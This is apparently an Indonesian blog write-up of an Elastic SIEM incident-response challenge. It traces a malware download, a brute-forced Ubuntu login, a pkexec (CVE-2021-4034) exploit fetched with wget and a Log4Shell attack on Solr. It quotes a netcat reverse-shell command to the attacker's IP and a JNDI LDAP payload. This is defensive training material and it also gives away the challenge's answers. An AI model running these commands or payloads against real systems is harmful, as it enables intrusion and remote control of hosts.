Elastic Case - Incident Response

9 minute read

Published:

Seorang penyerang dapat mengelabui seorang karyawan agar mengunduh file yang mencurigakan dan menjalankannya. Penyerang mengkompromikan sistem, bersama dengan itu, Tim Keamanan tidak memperbarui sebagian besar sistem. Penyerang dapat berporos ke sistem lain dan membahayakan perusahaan. Sebagai analis SOC, Anda ditugaskan untuk menyelidiki insiden tersebut menggunakan Elastic sebagai alat SIEM dan membantu tim untuk mengusir penyerang.


Tools yang digunakan

  • Virtual Box

  • Elastic
  • Challenge

    1. Who downloads the malicious file which has a double extension ?

    Langkah pertama yang harus dilakukan adalah dengan masuk kedalam menu Security dan pilih menu alert.



    Pada menu alert, akan terlihat data pada rentang waktu tertentu. Disii saya menyetel waktu pertanggal 8 januari sampai dengan 12 Februari. Untuk mempermudah menemukan data yang diinginkan, terdapat bebera filer yang dapat digunakan. Dikarenakan kita focus pada malware, maka saya akan menggunakan filter “File Name Type”, dan fokus saya pada Acount_details.pdf.exe. Filter tersebut juga diikutin dengan filter kedua yaitu “Event.Action” dan fokus saya pada “Creation”.



    Berdasarkan kedua filter tersebut, terdapat 5 data berhasil kami temukan. Dengan rincian 2 username yang kami dapatkan yaitu “cybery” dan “ahmed”. Tentu saja kami Kembali menyelidiki data tersebut berdasarkan rentang waktu. Dimana kami melihat username “ahmed” menjadi yang pertama kali. Sehingga kami pun membuka table dari data username "ahmed".



    Melihat data pada table tersebut. Terlihat bahwa user ahmed melakukan proses download file \Acount_details.pdf.exe menggunakan browser microsoft edge. Berdasarkan data tersebut, kami menyimpulkan bahwa username “ahmed” telah melakukan proses downloading pertama dan menyebarkan nya ke yang lain.

    2. What is the hostname he was using?

    Berdasarkan data yang saya temukan sebelumnya, diketahui bahwa username “ahmed” yang telah melakukan proses downloading file terindikasi malware. Melalui table pada elastic, dengan keyword “host.hostname” kami mendapati data hostname yaitu “DESKTOP-Q1SL9P2”.



    3. What is the name of the malicious file?

    Pada data table di elastic alert. Kami juga mendapati data nam filenya dengan menggunakan keyword ”file.name”. Dimana nama file tersebut adalah “Acount_details .pdf.exe”.



    Terlihat dari data diatas, file yang didownload oleh username “ahmad” yaitu “Acount_details.pdf.exe”. Selain itu file tersebut terbaca oleh elastic memiliki 2 ekstensi file yaitu pdf dan exe. Terlampir juga hash 256 nya yaitu “3e7295a9c21d288772ba3780a648af75 15e6c728e7d4b783deb24e86e9d46 79a”

    4. What is the attacker's IP address ?

    Diketahui bahwa username “ahmed” Memiliki ip address “192.168.10.10”. untuk mengetahui ip address dari attacker, saya menggunakan fitur Analyze yang terlihat pada gambar dibawah.



    Terlihat pada data dibawah, terdapat 11 network pada file “Acount_details.pdf.exe”. Setelah kami membukanya, kami mendapati ip destination lainnya, yang kami curigai sebagai ip attacker yaitu “192.168.1.10”.



    5. Another user with high privilege runs the same malicious file. What is the username?

    Berdasarkan pada penggunaan filter “File Name Type”, dan fokus saya pada Acount_details.pdf.exe. Filter tersebut juga diikutin dengan filter kedua yaitu “Event.Action” dan fokus saya pada “Creation”. Kami mendapat username lainnya yang terlihat mencoba mengakses file malicious tersebut, yaitu “cybery”.



    6. The attacker was able to upload a DLL file of size 8704. What is the file name?

    Kembali kami menggunakan filter “File Name Type” dan ditambah dengan column “file.size” untuk mengetahui size dari file tersebut. Berdasarkan data yang kami dapatkan, file berketensi .dll yang berukuran 8704 adalah “mCblHDgWP.dll”.



    Terlihat pada data dibawah, terdapat 11 network pada file “Acount_details.pdf.exe”. Setelah kami membukanya, kami mendapati ip destination lainnya, yang kami curigai sebagai ip attacker yaitu “192.168.1.10”.

    7. What parent process name spawns cmd with NT AUTHORITY privilege and pid 10716?

    Pada filter, kami mencoba menerapkan “Proces.name” dan fokus pada “cmd”. Selain itu pada data, kami menambahkan column “Process.parent.name” serta “process.pid”. lalu kami mendapatkan bahwa “parent process name” yang dimaksudkan adalah “rundll32.exe”.



    8. The previous process was able to access a registry. What is the full path of the registry?

    Telah kita ketahui, bahwa process yang sebelumnya kita selidiki adalah process “rundll32.exe” sehingga menjadi checkpoint kita. Untuk mengetahui registry apa yang telah diakses, kita dapat menggunakan bantuan analyze box.



    Diketahui bahwa pada process “rundll32.exe”, terdapat action mengakses registry “ HKLM\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled”

    9. PowerShell process with pid 8836 changed a file in the system. What was that filename?

    Melalui fitur Analyze Box, kami mencoba menelusuri process “powershell.exe”. terlihat bahwa pada gambar process “powershell.exe” memiliki process.pid yaitu 8836, dan terlihat bawah adanya indikasi file.change pada path “C:\Windows\system32\config\systemprofile \AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache”



    10. PowerShell process with pid 11676 created files with the ps1 extension. What is the first file that has been created?

    Kami Kembali mencari process “powershell.exe” yang memiliki process.pid yaitu 11676 melalui analyze box. Kami pun menemukannya sepeti pada gambar di bawah.



    Terlihat bahwa pada gambar diatas, file berkektensi ps1 pertama kali dibuat terjadi pada jam 00:08:46:153 dengan nama file “__PSScriptPolicyTest_bymwxuft.3b5.ps1”

    11. What is the machine's IP address that is in the same LAN as a windows machine?

    Perlu diingat bahwa windows machine yaitu dengan hostname “DESKTOP-Q1SL9P2” menggunakan ip address “192.168.10.10”. Untuk mengetahui ip addres mana yang sama dengan windows machine tersebut, kita dapat menggunakan menu Eksplore dan masuk ke Host.



    Terlihat bahwa jumlah host yang berhasil kami temukan sebanyak 5. Setelah kami mengecek satu persatu ,kami menemukan bahwa hostname “Ubuntu” menggunakan ip address yang sama denhgan hostname“DESKTOP-Q1SL9P2” dimana ip address tersebut adalah “192.168.10.30”.



    12. The attacker login to the Ubuntu machine after a brute force attack. What is the username he was successfully login with?

    Pada ubuntu machine, terindikasi adanya upata brute force. Hal ini dibuktikan dengan tingginya data traffic User authentications Failed sebanyak 520 kali.



    Diketahui ada 13 jenis user yang terbaca melakukan upaya login pada ubuntu machine, dan username yang terlihat behasil login adalah “salem”.



    13. After that attacker downloaded the exploit from the GitHub repo using wget. What is the full URL of the repo?

    Setelah mengetahui username attacker, kita Kembali lagi pada menu “Detect”, dan masuk ke “Alert”. Kami menggunakan filter yaitu “User.name”.



    Kami pun langsung masuk ke menu analyze box pada data terakhir, dan benar saja kami menemukan process “wget” seperti pada gambar.



    Terlihat pada gambar, bahwa username “salem” mencoba melakukan prosess download file menggunakan perintah "wget", dan file yang didownload adalah “https://raw. githubusercontent.com/joeammond/CVE-2021-4034/main/CVE-2021-4034.py”

    14. After The attacker runs the exploit, which spawns a new process called pkexec, what is the process's md5 hash?

    Masih menggunakan analyze box, kami langsung mencari process “pkexec” dimana proses ini memiliki nilai process.pid yaitu 3003 dan user.name yaitu “root”. Berikut adalah md5 hashnya “3a4ad518e9e404a6bad3d39dfebaf2f6”.



    15. Then attacker gets an interactive shell by running a specific command on the process id 3011 with the root user. What is the command?



    16. What is the hostname which alert signal.rule.name: "Netcat Network Activity"?

    Kami menggunakan filter yaitu signal.rule.name dan kami atur yaitu “Netcat Network Activity”. Diketahui bahwa data tersebut hanya ada satu dan sedang menjalankan process name nc dengan hostname CentOS.



    17. What is the username who ran netcat?

    Lagi, berdasarkan pencarian sebelumnya selain mendapatkan data hostname, kami juga mendapatkan data username yang sedangan menjalankan netcat yaitu solr.



    18. What is the parent process name of netcat?

    Kami Kembali menelurusi lebih detail menggunakan analyze event menu. Disini kami menemukan bahwa parent process name of netcat adalah java.



    19. If you focus on nc process, you can get the entire command that the attacker ran to get a reverse shell. Write the full command?

    disini kami mencoba mencari informasi berdasarakan traffic. kami pun masuk analytics dan discover. lalu berdasarkan pertanyaan sebelumnya kami menggunakan filter "host.name : "host.name : CentOS and user.name : solr and process.args : nc". kami pun menemukan 3 traffic data yang sesuai dengan filter kami. akhirnya kami menemukan command yang dimaksud. yaitu "nc -e /bin/bash 192.168.1.10 9999"



    20. From the previous three questions, you may remember a famous java vulnerability. What is it?

    Berdasarkan informasi terbaru, java vulenerability yang terkenal tersebut adalah apache log4j library yaitu log4shell

    21 . What is the entire log file path of the "solr" application?

    Kami kembali menelusuri dari ketiga data traffice tersebut. lalu kami menemukan field yang tersedia yaitu "process.parent.args". disini kami tampak samar melihat adanya "-Xloggc:/var/solr/logs/solr_gc.log".



    dan sampai kami menemukan tulisan pada suatu website yang menjelaskan struktur dari log solr. kami pun langsung menyimpulkan bahwa lokasi log dari solr tersebut adalah /var/solr/logs/solr.log



    22. What is the path that is vulnerable to log4j?

    disini kami mencoba menggunakan parameter command umum yang digunakan attacker dalam menjalan log4shell "${jndi:ldap://". Namun disini kami tidak menemukan apa apa. sehingga kami pun memutar otak dan kami menemukan postingan https://i-3.co.id/monitor-infrastruktur-it-anda-secara-real-time-dengan-elk-stack/. pada postingan tersebut dijelaskan bahwa data pada indeks log merupakan hasil parsing dari data yang berasal dari index fileabet. dimana singkatnya filebeat merupakan index yang menimpan data mentah sebelum di parsing. sehingga kami mencoba mencari menggunakan parameter awal. dan benar kami menemukan sesuatu seperti pada gambar.



    Berdasarkan gambar diasas path yang terindikasi memiliki vuln terhadap log4j adalah /admin/cores

    23.What is the GET request parameter used to deliver log4j payload?

    melalui parameter "${jndi:ldap://", kami juga menemukan request get yang dipakai pada payload log4j tersebut. dimana attacke berusaha melakukan proses request get pada foo.



    24. What is the JNDI payload that is connected to the LDAP port?

    berdasarkan pertanyaan sebelumnya dapat kita ketahui, payload dari log4j tersebut adalah : " {foo=${jndi:ldap://192.168.1.10:1389/Exploit}} "